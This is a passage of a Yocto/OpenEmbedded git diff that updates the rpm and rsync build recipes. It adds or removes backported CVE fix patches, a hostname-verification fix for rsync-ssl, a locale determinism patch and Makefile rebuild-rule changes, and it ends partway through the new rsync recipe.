+DESCRIPTION:python3-rpm = "The python3-rpm package contains a module that permits applications \
+written in the Python programming language to use the interface \
+supplied by the RPM Package Manager libraries."
+
+HOMEPAGE = "http://www.rpm.org"
+
+# libraries are also LGPL - how to express this?
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=c4eec0c20c6034b9407a09945b48a43f"
+
+SRC_URI = "git://github.com/rpm-software-management/rpm;branch=rpm-4.17.x;protocol=https \
+ file://environment.d-rpm.sh \
+ file://0001-Do-not-add-an-unsatisfiable-dependency-when-building.patch \
+ file://0001-Do-not-read-config-files-from-HOME.patch \
+ file://0001-When-cross-installing-execute-package-scriptlets-wit.patch \
+ file://0001-Do-not-reset-the-PATH-environment-variable-before-ru.patch \
+ file://0002-Add-support-for-prefixing-etc-from-RPM_ETCCONFIGDIR-.patch \
+ file://0001-Do-not-hardcode-lib-rpm-as-the-installation-path-for.patch \
+ file://0001-Add-a-color-setting-for-mips64_n32-binaries.patch \
+ file://0001-perl-disable-auto-reqs.patch \
+ file://0016-rpmscript.c-change-logging-level-around-scriptlets-t.patch \
+ file://0001-lib-transaction.c-fix-file-conflicts-for-MIPS64-N32.patch \
+ file://0001-tools-Add-error.h-for-non-glibc-case.patch \
+ file://0001-docs-do-not-build-manpages-requires-pandoc.patch \
+ file://0001-build-pack.c-do-not-insert-payloadflags-into-.rpm-me.patch \
+ file://0001-CVE-2021-3521.patch \
+ file://0002-CVE-2021-3521.patch \
+ file://0003-CVE-2021-3521.patch \
+ "
+
+PE = "1"
+SRCREV = "3e74e8ba2dd5e76a5353d238dc7fc38651ce27b3"
+
+S = "${WORKDIR}/git"
+
+DEPENDS = "lua libgcrypt file popt xz bzip2 elfutils python3"
+DEPENDS:append:class-native = " file-replacement-native bzip2-replacement-native"
+
+inherit autotools gettext pkgconfig python3native
+export PYTHON_ABI
+
+AUTOTOOLS_AUXDIR = "${S}/build-aux"
+
+# OE-core patches autoreconf to additionally run gnu-configize, which fails with this recipe
+EXTRA_AUTORECONF:append = " --exclude=gnu-configize"
+
+# Vendor is detected differently on x86 and aarch64 hosts and can feed into target packages
+EXTRA_OECONF:append = " --enable-python --with-crypto=libgcrypt --with-vendor=pc"
+EXTRA_OECONF:append:libc-musl = " --disable-nls --disable-openmp"
+
+# --sysconfdir prevents rpm from attempting to access machine-specific configuration in sysroot/etc; we need to have it in rootfs
+# --localstatedir prevents rpm from writing its database to native sysroot when building images
+# Forcibly disable plugins for native/nativesdk, as the inhibit and prioreset
+# plugins both behave badly inside builds.
+EXTRA_OECONF:append:class-native = " --sysconfdir=/etc --localstatedir=/var --disable-plugins"
+EXTRA_OECONF:append:class-nativesdk = " --sysconfdir=/etc --disable-plugins"
+
+BBCLASSEXTEND = "native nativesdk"
+
+PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'systemd', 'inhibit', '', d)} sqlite zstd"
+# The inhibit plugin serves no purpose outside of the target
+PACKAGECONFIG:remove:class-native = "inhibit"
+PACKAGECONFIG:remove:class-nativesdk = "inhibit"
+
+PACKAGECONFIG[imaevm] = "--with-imaevm,,ima-evm-utils"
+PACKAGECONFIG[inhibit] = "--enable-inhibit-plugin,--disable-inhibit-plugin,dbus"
+PACKAGECONFIG[rpm2archive] = "--with-archive,--without-archive,libarchive"
+PACKAGECONFIG[sqlite] = "--enable-sqlite=yes,--enable-sqlite=no,sqlite3"
+PACKAGECONFIG[ndb] = "--enable-ndb,--disable-ndb"
+PACKAGECONFIG[bdb-ro] = "--enable-bdb-ro,--disable-bdb-ro"
+PACKAGECONFIG[zstd] = "--enable-zstd=yes,--enable-zstd=no,zstd"
+
+ASNEEDED = ""
+
+# Direct rpm-native to read configuration from our sysroot, not the one it was compiled in
+# libmagic also has sysroot path contamination, so override it
+
+WRAPPER_TOOLS = " \
+ ${bindir}/rpm \
+ ${bindir}/rpm2archive \
+ ${bindir}/rpm2cpio \
+ ${bindir}/rpmbuild \
+ ${bindir}/rpmdb \
+ ${bindir}/rpmgraph \
+ ${bindir}/rpmkeys \
+ ${bindir}/rpmsign \
+ ${bindir}/rpmspec \
+ ${libdir}/rpm/rpmdeps \
+"
+
+do_configure:prepend() {
+ mkdir -p ${S}/build-aux
+}
+
+do_install:append:class-native() {
+ for tool in ${WRAPPER_TOOLS}; do
+ test -x ${D}$tool && create_wrapper ${D}$tool \
+ RPM_CONFIGDIR=${STAGING_LIBDIR_NATIVE}/rpm \
+ RPM_ETCCONFIGDIR=${STAGING_DIR_NATIVE} \
+ MAGIC=${STAGING_DIR_NATIVE}${datadir_native}/misc/magic.mgc \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+ done
+}
+
+do_install:append:class-nativesdk() {
+ for tool in ${WRAPPER_TOOLS}; do
+ test -x ${D}$tool && create_wrapper ${D}$tool \
+ RPM_CONFIGDIR='`dirname $''realpath`'/${@os.path.relpath(d.getVar('libdir'), d.getVar('bindir'))}/rpm \
+ RPM_ETCCONFIGDIR='$'{RPM_ETCCONFIGDIR-'`dirname $''realpath`'/${@os.path.relpath(d.getVar('sysconfdir'), d.getVar('bindir'))}/..} \
+ MAGIC='`dirname $''realpath`'/${@os.path.relpath(d.getVar('datadir'), d.getVar('bindir'))}/misc/magic.mgc \
+ RPM_NO_CHROOT_FOR_SCRIPTS=1
+ done
+
+ rm -rf ${D}/var
+
+ mkdir -p ${D}${SDKPATHNATIVE}/environment-setup.d
+ install -m 644 ${WORKDIR}/environment.d-rpm.sh ${D}${SDKPATHNATIVE}/environment-setup.d/rpm.sh
+}
+
+# Rpm's make install creates var/tmp which clashes with base-files packaging
+do_install:append:class-target() {
+ rm -rf ${D}/var
+}
+do_install:append:class-nativesdk() {
+ rm -rf ${D}${SDKPATHNATIVE}/var
+}
+
+do_install:append () {
+ sed -i -e 's:${HOSTTOOLS_DIR}/::g' \
+ ${D}/${libdir}/rpm/macros
+
+}
+
+FILES:${PN} += "${libdir}/rpm-plugins/*.so \
+ "
+FILES:${PN}:append:class-nativesdk = " ${SDKPATHNATIVE}/environment-setup.d/rpm.sh"
+
+FILES:${PN}-dev += "${libdir}/rpm-plugins/*.la \
+ "
+PACKAGE_BEFORE_PN += "${PN}-build ${PN}-sign ${PN}-archive"
+
+RRECOMMENDS:${PN} += "rpm-sign rpm-archive"
+
+FILES:${PN}-build = "\
+ ${bindir}/rpmbuild \
+ ${bindir}/gendiff \
+ ${bindir}/rpmspec \
+ ${libdir}/librpmbuild.so.* \
+ ${libdir}/rpm/brp-* \
+ ${libdir}/rpm/check-* \
+ ${libdir}/rpm/debugedit \
+ ${libdir}/rpm/sepdebugcrcfix \
+ ${libdir}/rpm/find-debuginfo.sh \
+ ${libdir}/rpm/find-lang.sh \
+ ${libdir}/rpm/*provides* \
+ ${libdir}/rpm/*requires* \
+ ${libdir}/rpm/*deps* \
+ ${libdir}/rpm/*.prov \
+ ${libdir}/rpm/*.req \
+ ${libdir}/rpm/config.* \
+ ${libdir}/rpm/mkinstalldirs \
+ ${libdir}/rpm/macros.p* \
+ ${libdir}/rpm/fileattrs/* \
+"
+
+FILES:${PN}-sign = "\
+ ${bindir}/rpmsign \
+ ${libdir}/librpmsign.so.* \
+"
+
+FILES:${PN}-archive = "\
+ ${bindir}/rpm2archive \
+"
+
+PACKAGES += "python3-rpm"
+PROVIDES += "python3-rpm"
+FILES:python3-rpm = "${PYTHON_SITEPACKAGES_DIR}/rpm/*"
+
+RDEPENDS:${PN}-build = "bash perl python3-core"
+
+PACKAGE_PREPROCESS_FUNCS += "rpm_package_preprocess"
+
+# Do not specify a sysroot when compiling on a target.
+rpm_package_preprocess () {
+ sed -i -e 's:--sysroot[^ ]*::g' \
+ ${PKGD}/${libdir}/rpm/macros
+}
+
+SSTATE_HASHEQUIV_FILEMAP = " \
+ populate_sysroot:*/rpm/macros:${TMPDIR} \
+ populate_sysroot:*/rpm/macros:${COREBASE} \
+ "
diff --git a/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch b/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch
new file mode 100644
index 0000000000..2d51ddf965
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/0001-rsync-ssl-Verify-the-hostname-in-the-certificate-whe.patch
@@ -0,0 +1,31 @@
+From fbe85634d88e82fbb439ae2a5d1aca8b8c309bea Mon Sep 17 00:00:00 2001
+From: Matt McCutchen <matt@mattmccutchen.net>
+Date: Wed, 26 Aug 2020 12:16:08 -0400
+Subject: [PATCH] rsync-ssl: Verify the hostname in the certificate when using
+ openssl.
+
+CVE: CVE-2020-14387
+
+Upstream-Status: Backport [https://git.samba.org/?p=rsync.git;a=commit;h=c3f7414]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+---
+ rsync-ssl | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/rsync-ssl b/rsync-ssl
+index 8101975..46701af 100755
+--- a/rsync-ssl
++++ b/rsync-ssl
+@@ -129,7 +129,7 @@ function rsync_ssl_helper {
+ fi
+
+ if [[ $RSYNC_SSL_TYPE == openssl ]]; then
+- exec $RSYNC_SSL_OPENSSL s_client $caopt $certopt -quiet -verify_quiet -servername $hostname -connect $hostname:$port
++ exec $RSYNC_SSL_OPENSSL s_client $caopt $certopt -quiet -verify_quiet -servername $hostname -verify_hostname $hostname -connect $hostname:$port
+ elif [[ $RSYNC_SSL_TYPE == gnutls ]]; then
+ exec $RSYNC_SSL_GNUTLS --logfile=/dev/null $gnutls_cert_opt $gnutls_opts $hostname:$port
+ else
+--
+2.17.1
+
diff --git a/meta/recipes-devtools/rsync/files/CVE-2016-9840.patch b/meta/recipes-devtools/rsync/files/CVE-2016-9840.patch
deleted file mode 100644
index 7581887790..0000000000
--- a/meta/recipes-devtools/rsync/files/CVE-2016-9840.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From 6a043145ca6e9c55184013841a67b2fef87e44c0 Mon Sep 17 00:00:00 2001
-From: Mark Adler <madler@alumni.caltech.edu>
-Date: Wed, 21 Sep 2016 23:35:50 -0700
-Subject: [PATCH] Remove offset pointer optimization in inftrees.c.
-
-inftrees.c was subtracting an offset from a pointer to an array,
-in order to provide a pointer that allowed indexing starting at
-the offset. This is not compliant with the C standard, for which
-the behavior of a pointer decremented before its allocated memory
-is undefined. Per the recommendation of a security audit of the
-zlib code by Trail of Bits and TrustInSoft, in support of the
-Mozilla Foundation, this tiny optimization was removed, in order
-to avoid the possibility of undefined behavior.
-
-CVE: CVE-2016-9840
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- inftrees.c | 18 ++++++++----------
- 1 file changed, 8 insertions(+), 10 deletions(-)
-
-diff --git a/zlib/inftrees.c b/zlib/inftrees.c
-index 22fcd666..0d2670d5 100644
---- a/zlib/inftrees.c
-+++ b/zlib/inftrees.c
-@@ -54,7 +54,7 @@ unsigned short FAR *work;
- code FAR *next; /* next available space in table */
- const unsigned short FAR *base; /* base value table to use */
- const unsigned short FAR *extra; /* extra bits table to use */
-- int end; /* use base and extra for symbol > end */
-+ unsigned match; /* use base and extra for symbol >= match */
- unsigned short count[MAXBITS+1]; /* number of codes of each length */
- unsigned short offs[MAXBITS+1]; /* offsets in table for each length */
- static const unsigned short lbase[31] = { /* Length codes 257..285 base */
-@@ -181,19 +181,17 @@ unsigned short FAR *work;
- switch (type) {
- case CODES:
- base = extra = work; /* dummy value--not used */
-- end = 19;
-+ match = 20;
- break;
- case LENS:
- base = lbase;
-- base -= 257;
- extra = lext;
-- extra -= 257;
-- end = 256;
-+ match = 257;
- break;
- default: /* DISTS */
- base = dbase;
- extra = dext;
-- end = -1;
-+ match = 0;
- }
-
- /* initialize state for loop */
-@@ -216,13 +214,13 @@ unsigned short FAR *work;
- for (;;) {
- /* create table entry */
- here.bits = (unsigned char)(len - drop);
-- if ((int)(work[sym]) < end) {
-+ if (work[sym] + 1 < match) {
- here.op = (unsigned char)0;
- here.val = work[sym];
- }
-- else if ((int)(work[sym]) > end) {
-- here.op = (unsigned char)(extra[work[sym]]);
-- here.val = base[work[sym]];
-+ else if (work[sym] >= match) {
-+ here.op = (unsigned char)(extra[work[sym] - match]);
-+ here.val = base[work[sym] - match];
- }
- else {
- here.op = (unsigned char)(32 + 64); /* end of block */
diff --git a/meta/recipes-devtools/rsync/files/CVE-2016-9841.patch b/meta/recipes-devtools/rsync/files/CVE-2016-9841.patch
deleted file mode 100644
index 3942176de5..0000000000
--- a/meta/recipes-devtools/rsync/files/CVE-2016-9841.patch
+++ /dev/null
@@ -1,228 +0,0 @@
-From 9aaec95e82117c1cb0f9624264c3618fc380cecb Mon Sep 17 00:00:00 2001
-From: Mark Adler <madler@alumni.caltech.edu>
-Date: Wed, 21 Sep 2016 22:25:21 -0700
-Subject: [PATCH] Use post-increment only in inffast.c.
-
-An old inffast.c optimization turns out to not be optimal anymore
-with modern compilers, and furthermore was not compliant with the
-C standard, for which decrementing a pointer before its allocated
-memory is undefined. Per the recommendation of a security audit of
-the zlib code by Trail of Bits and TrustInSoft, in support of the
-Mozilla Foundation, this "optimization" was removed, in order to
-avoid the possibility of undefined behavior.
-
-CVE: CVE-2016-9841
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- zlib/inffast.c | 81 +++++++++++++++++++++----------------------------------
- 1 file changed, 31 insertions(+), 50 deletions(-)
-
-diff --git a/zlib/inffast.c b/zlib/inffast.c
-index bda59ceb..f0d163db 100644
---- a/zlib/inffast.c
-+++ b/zlib/inffast.c
-@@ -10,25 +10,6 @@
-
- #ifndef ASMINF
-
--/* Allow machine dependent optimization for post-increment or pre-increment.
-- Based on testing to date,
-- Pre-increment preferred for:
-- - PowerPC G3 (Adler)
-- - MIPS R5000 (Randers-Pehrson)
-- Post-increment preferred for:
-- - none
-- No measurable difference:
-- - Pentium III (Anderson)
-- - M68060 (Nikl)
-- */
--#ifdef POSTINC
--# define OFF 0
--# define PUP(a) *(a)++
--#else
--# define OFF 1
--# define PUP(a) *++(a)
--#endif
--
- /*
- Decode literal, length, and distance codes and write out the resulting
- literal and match bytes until either not enough input or output is
-@@ -96,9 +77,9 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
-
- /* copy state to local variables */
- state = (struct inflate_state FAR *)strm->state;
-- in = strm->next_in - OFF;
-+ in = strm->next_in;
- last = in + (strm->avail_in - 5);
-- out = strm->next_out - OFF;
-+ out = strm->next_out;
- beg = out - (start - strm->avail_out);
- end = out + (strm->avail_out - 257);
- #ifdef INFLATE_STRICT
-@@ -119,9 +100,9 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- input data or output space */
- do {
- if (bits < 15) {
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
- }
- here = lcode[hold & lmask];
-@@ -134,14 +115,14 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
- "inflate: literal '%c'\n" :
- "inflate: literal 0x%02x\n", here.val));
-- PUP(out) = (unsigned char)(here.val);
-+ *out++ = (unsigned char)(here.val);
- }
- else if (op & 16) { /* length base */
- len = (unsigned)(here.val);
- op &= 15; /* number of extra bits */
- if (op) {
- if (bits < op) {
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
- }
- len += (unsigned)hold & ((1U << op) - 1);
-@@ -150,9 +131,9 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- }
- Tracevv((stderr, "inflate: length %u\n", len));
- if (bits < 15) {
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
- }
- here = dcode[hold & dmask];
-@@ -165,10 +146,10 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- dist = (unsigned)(here.val);
- op &= 15; /* number of extra bits */
- if (bits < op) {
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
- if (bits < op) {
-- hold += (unsigned long)(PUP(in)) << bits;
-+ hold += (unsigned long)(*in++) << bits;
- bits += 8;
- }
- }
-@@ -196,30 +177,30 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- #ifdef INFLATE_ALLOW_INVALID_DISTANCE_TOOFAR_ARRR
- if (len <= op - whave) {
- do {
-- PUP(out) = 0;
-+ *out++ = 0;
- } while (--len);
- continue;
- }
- len -= op - whave;
- do {
-- PUP(out) = 0;
-+ *out++ = 0;
- } while (--op > whave);
- if (op == 0) {
- from = out - dist;
- do {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- } while (--len);
- continue;
- }
- #endif
- }
-- from = window - OFF;
-+ from = window;
- if (wnext == 0) { /* very common case */
- from += wsize - op;
- if (op < len) { /* some from window */
- len -= op;
- do {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- } while (--op);
- from = out - dist; /* rest from output */
- }
-@@ -230,14 +211,14 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- if (op < len) { /* some from end of window */
- len -= op;
- do {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- } while (--op);
-- from = window - OFF;
-+ from = window;
- if (wnext < len) { /* some from start of window */
- op = wnext;
- len -= op;
- do {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- } while (--op);
- from = out - dist; /* rest from output */
- }
-@@ -248,35 +229,35 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- if (op < len) { /* some from window */
- len -= op;
- do {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- } while (--op);
- from = out - dist; /* rest from output */
- }
- }
- while (len > 2) {
-- PUP(out) = PUP(from);
-- PUP(out) = PUP(from);
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
-+ *out++ = *from++;
-+ *out++ = *from++;
- len -= 3;
- }
- if (len) {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- if (len > 1)
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- }
- }
- else {
- from = out - dist; /* copy direct from output */
- do { /* minimum length is three */
-- PUP(out) = PUP(from);
-- PUP(out) = PUP(from);
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
-+ *out++ = *from++;
-+ *out++ = *from++;
- len -= 3;
- } while (len > 2);
- if (len) {
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- if (len > 1)
-- PUP(out) = PUP(from);
-+ *out++ = *from++;
- }
- }
- }
-@@ -313,8 +294,8 @@ unsigned start; /* inflate()'s starting value for strm->avail_out */
- hold &= (1U << bits) - 1;
-
- /* update state and return */
-- strm->next_in = in + OFF;
-- strm->next_out = out + OFF;
-+ strm->next_in = in;
-+ strm->next_out = out;
- strm->avail_in = (unsigned)(in < last ? 5 + (last - in) : 5 - (in - last));
- strm->avail_out = (unsigned)(out < end ?
- 257 + (end - out) : 257 - (out - end));
diff --git a/meta/recipes-devtools/rsync/files/CVE-2016-9842.patch b/meta/recipes-devtools/rsync/files/CVE-2016-9842.patch
deleted file mode 100644
index 810d8a3fdb..0000000000
--- a/meta/recipes-devtools/rsync/files/CVE-2016-9842.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-From e54e1299404101a5a9d0cf5e45512b543967f958 Mon Sep 17 00:00:00 2001
-From: Mark Adler <madler@alumni.caltech.edu>
-Date: Sat, 5 Sep 2015 17:45:55 -0700
-Subject: [PATCH] Avoid shifts of negative values inflateMark().
-
-The C standard says that bit shifts of negative integers is
-undefined. This casts to unsigned values to assure a known
-result.
-
-CVE: CVE-2016-9842
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- inflate.c | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/zlib/inflate.c b/zlib/inflate.c
-index 2889e3a0..a7184167 100644
---- a/zlib/inflate.c
-+++ b/zlib/inflate.c
-@@ -1506,9 +1506,10 @@ z_streamp strm;
- {
- struct inflate_state FAR *state;
-
-- if (strm == Z_NULL || strm->state == Z_NULL) return -1L << 16;
-+ if (strm == Z_NULL || strm->state == Z_NULL)
-+ return (long)(((unsigned long)0 - 1) << 16);
- state = (struct inflate_state FAR *)strm->state;
-- return ((long)(state->back) << 16) +
-+ return (long)(((unsigned long)((long)state->back)) << 16) +
- (state->mode == COPY ? state->length :
- (state->mode == MATCH ? state->was - state->length : 0));
- }
diff --git a/meta/recipes-devtools/rsync/files/CVE-2016-9843.patch b/meta/recipes-devtools/rsync/files/CVE-2016-9843.patch
deleted file mode 100644
index ea2e42fe76..0000000000
--- a/meta/recipes-devtools/rsync/files/CVE-2016-9843.patch
+++ /dev/null
@@ -1,53 +0,0 @@
-From d1d577490c15a0c6862473d7576352a9f18ef811 Mon Sep 17 00:00:00 2001
-From: Mark Adler <madler@alumni.caltech.edu>
-Date: Wed, 28 Sep 2016 20:20:25 -0700
-Subject: [PATCH] Avoid pre-decrement of pointer in big-endian CRC calculation.
-
-There was a small optimization for PowerPCs to pre-increment a
-pointer when accessing a word, instead of post-incrementing. This
-required prefacing the loop with a decrement of the pointer,
-possibly pointing before the object passed. This is not compliant
-with the C standard, for which decrementing a pointer before its
-allocated memory is undefined. When tested on a modern PowerPC
-with a modern compiler, the optimization no longer has any effect.
-Due to all that, and per the recommendation of a security audit of
-the zlib code by Trail of Bits and TrustInSoft, in support of the
-Mozilla Foundation, this "optimization" was removed, in order to
-avoid the possibility of undefined behavior.
-
-CVE: CVE-2016-9843
-Upstream-Status: Backport
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
----
- crc32.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/zlib/crc32.c b/zlib/crc32.c
-index 979a7190..05733f4e 100644
---- a/zlib/crc32.c
-+++ b/zlib/crc32.c
-@@ -278,7 +278,7 @@ local unsigned long crc32_little(crc, buf, len)
- }
-
- /* ========================================================================= */
--#define DOBIG4 c ^= *++buf4; \
-+#define DOBIG4 c ^= *buf4++; \
- c = crc_table[4][c & 0xff] ^ crc_table[5][(c >> 8) & 0xff] ^ \
- crc_table[6][(c >> 16) & 0xff] ^ crc_table[7][c >> 24]
- #define DOBIG32 DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4; DOBIG4
-@@ -300,7 +300,6 @@ local unsigned long crc32_big(crc, buf, len)
- }
-
- buf4 = (const z_crc_t FAR *)(const void FAR *)buf;
-- buf4--;
- while (len >= 32) {
- DOBIG32;
- len -= 32;
-@@ -309,7 +308,6 @@ local unsigned long crc32_big(crc, buf, len)
- DOBIG4;
- len -= 4;
- }
-- buf4++;
- buf = (const unsigned char FAR *)buf4;
-
- if (len) do {
diff --git a/meta/recipes-devtools/rsync/files/determism.patch b/meta/recipes-devtools/rsync/files/determism.patch
new file mode 100644
index 0000000000..e3494fdded
--- /dev/null
+++ b/meta/recipes-devtools/rsync/files/determism.patch
@@ -0,0 +1,34 @@
+The Makefile calls awk on a "*.c" glob. The results of this glob are sorted
+but the order depends on the locale settings, particularly whether
+"util.c" and "util2.c" sort before or after each other. In en_US.UTF-8
+they sort one way, in C, they sort the other. The sorting order changes
+the output binaries. The behaviour also changes dependning on whether
+SHELL (/bin/sh) is dash or bash.
+
+Specify a C locale setting to be deterministic.
+
+Signed-off-by: Richard Purdie <richard.purdie@linuxfoundation.org>
+Submitted: https://github.com/WayneD/rsync/pull/155
+
+Upstream-Status: Backport [ish, see below]
+
+After discussion upstream renamed util.c to util1.c which avoids the problem
+in a different way. This patch can be dropped when we upgrade to include:
+https://github.com/WayneD/rsync/commit/d3085f7add38a5cf833a0b31cb0637ff46c80f8d
+
+Index: rsync-3.2.3/Makefile.in
+===================================================================
+--- rsync-3.2.3.orig/Makefile.in
++++ rsync-3.2.3/Makefile.in
+@@ -26,6 +26,11 @@ MKDIR_P=@MKDIR_P@
+ VPATH=$(srcdir)
+ SHELL=/bin/sh
+
++# We use globbing in commands, need to be deterministic
++unexport LC_ALL
++LC_COLLATE=C
++export LC_COLLATE
++
+ .SUFFIXES:
+ .SUFFIXES: .c .o
+
diff --git a/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch b/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
index 3d27fe72cc..4ba7665280 100644
--- a/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
+++ b/meta/recipes-devtools/rsync/files/makefile-no-rebuild.patch
@@ -1,20 +1,26 @@
+From 1f29584e57f5fda09970c66f3b94f4720e09c1bb Mon Sep 17 00:00:00 2001
+From: Ross Burton <ross.burton@intel.com>
+Date: Tue, 12 Apr 2016 15:51:54 +0100
+Subject: [PATCH] rsync: remove upstream's rebuild logic
+
Remove the Makefile rules to reinvoke autoconf, they're not out-of-tree safe and
generally overcomplicated, and we ensure that autoreconf is invoked if required.
Upstream-Status: Inappropriate
Signed-off-by: Ross Burton <ross.burton@intel.com>
+---
+ Makefile.in | 54 -----------------------------------------------------
+ 1 file changed, 54 deletions(-)
+
diff --git a/Makefile.in b/Makefile.in
-index 151247d..8f3fdb6 100644
+index 672fcc4..c12d8d4 100644
--- a/Makefile.in
+++ b/Makefile.in
-@@ -141,58 +141,6 @@ gen: conf proto.h man
+@@ -168,60 +168,6 @@ gen: conf proto.h man
gensend: gen
- rsync -aivzc $(GENFILES) $${SAMBA_HOST-samba.org}:/home/ftp/pub/rsync/generated-files/
+ rsync -aic $(GENFILES) $${SAMBA_HOST-samba.org}:/home/ftp/pub/rsync/generated-files/
--conf:
-- cd $(srcdir) && $(MAKE) -f prepare-source.mak conf
--
-aclocal.m4: $(srcdir)/m4/*.m4
- aclocal -I $(srcdir)/m4
-
@@ -45,10 +51,15 @@ index 151247d..8f3fdb6 100644
- fi \
- fi
-
+-.PHONY: reconfigure
-reconfigure: configure.sh
- ./config.status --recheck
- ./config.status
-
+-.PHONY: restatus
+-restatus:
+- ./config.status
+-
-Makefile: Makefile.in config.status configure.sh config.h.in
- @if test -f Makefile; then cp -p Makefile Makefile.old; else touch Makefile.old; fi
- @./config.status
@@ -64,6 +75,6 @@ index 151247d..8f3fdb6 100644
- fi \
- fi
-
- rsync-ssl: $(srcdir)/rsync-ssl.in Makefile
- sed 's;\@bindir\@;$(bindir);g' <$(srcdir)/rsync-ssl.in >rsync-ssl
- @chmod +x rsync-ssl
+ stunnel-rsyncd.conf: $(srcdir)/stunnel-rsyncd.conf.in Makefile
+ sed 's;\@bindir\@;$(bindir);g' <$(srcdir)/stunnel-rsyncd.conf.in >stunnel-rsyncd.conf
+
diff --git a/meta/recipes-devtools/rsync/rsync_3.1.3.bb b/meta/recipes-devtools/rsync/rsync_3.1.3.bb
deleted file mode 100644
index ffb1d061c0..0000000000
--- a/meta/recipes-devtools/rsync/rsync_3.1.3.bb
+++ /dev/null
@@ -1,54 +0,0 @@
-SUMMARY = "File synchronization tool"
-HOMEPAGE = "http://rsync.samba.org/"
-BUGTRACKER = "http://rsync.samba.org/bugzilla.html"
-SECTION = "console/network"
-# GPLv2+ (<< 3.0.0), GPLv3+ (>= 3.0.0)
-LICENSE = "GPLv3+"
-LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
-
-DEPENDS = "popt"
-
-SRC_URI = "https://download.samba.org/pub/${BPN}/src/${BP}.tar.gz \
- file://rsyncd.conf \
- file://makefile-no-rebuild.patch \
- file://CVE-2016-9840.patch \
- file://CVE-2016-9841.patch \
- file://CVE-2016-9842.patch \
- file://CVE-2016-9843.patch \
-"
-
-SRC_URI[md5sum] = "1581a588fde9d89f6bc6201e8129afaf"
-SRC_URI[sha256sum] = "55cc554efec5fdaad70de921cd5a5eeb6c29a95524c715f3bbf849235b0800c0"
-
-inherit autotools
-
-PACKAGECONFIG ??= "acl attr \
- ${@bb.utils.filter('DISTRO_FEATURES', 'ipv6', d)} \
-"
-
-PACKAGECONFIG[acl] = "--enable-acl-support,--disable-acl-support,acl,"
-PACKAGECONFIG[attr] = "--enable-xattr-support,--disable-xattr-support,attr,"
-PACKAGECONFIG[ipv6] = "--enable-ipv6,--disable-ipv6,"
-
-# By default, if crosscompiling, rsync disables a number of
-# capabilities, hardlinking symlinks and special files (i.e. devices)
-CACHED_CONFIGUREVARS += "rsync_cv_can_hardlink_special=yes rsync_cv_can_hardlink_symlink=yes"
-
-EXTRA_OEMAKE = 'STRIP=""'
-
-# rsync 3.0 uses configure.sh instead of configure, and
-# makefile checks the existence of configure.sh
-do_configure_prepend () {
- rm -f ${S}/configure ${S}/configure.sh
-}
-
-do_configure_append () {
- cp -f ${S}/configure ${S}/configure.sh
-}
-
-do_install_append() {
- install -d ${D}${sysconfdir}
- install -m 0644 ${WORKDIR}/rsyncd.conf ${D}${sysconfdir}
-}
-
-BBCLASSEXTEND = "native"
diff --git a/meta/recipes-devtools/rsync/rsync_3.2.3.bb b/meta/recipes-devtools/rsync/rsync_3.2.3.bb
new file mode 100644
index 0000000000..6168ee85fc
--- /dev/null
+++ b/meta/recipes-devtools/rsync/rsync_3.2.3.bb
@@ -0,0 +1,61 @@
+SUMMARY = "File synchronization tool"
+HOMEPAGE = "http://rsync.samba.org/"
+DESCRIPTION = "rsync is an open source utility that provides fast incremental file transfer."
+BUGTRACKER = "http://rsync.samba.org/bugzilla.html"
+SECTION = "console/network"
